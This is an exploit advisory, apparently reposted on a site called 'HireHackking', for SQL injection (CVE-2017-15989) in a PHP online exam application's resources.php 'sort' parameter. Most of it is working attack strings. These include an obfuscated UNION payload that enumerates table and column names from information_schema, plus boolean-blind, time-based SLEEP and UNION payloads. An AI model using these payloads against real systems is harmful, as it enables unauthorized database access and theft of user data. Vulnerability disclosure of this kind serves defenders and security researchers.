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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# # # # # 
# Exploit Title: Online Exam Test Application - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application
# Demo: http://198.38.86.159/~onlineexamboard/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15989
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/resources.php?action=category&sort=[SQL]
# 
# -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+-
# 
# Parameter: sort (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: action=category&sort=8 AND 5525=5525
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: action=category&sort=8 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 4 columns
#     Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw
# 	
# Etc..
# # # # #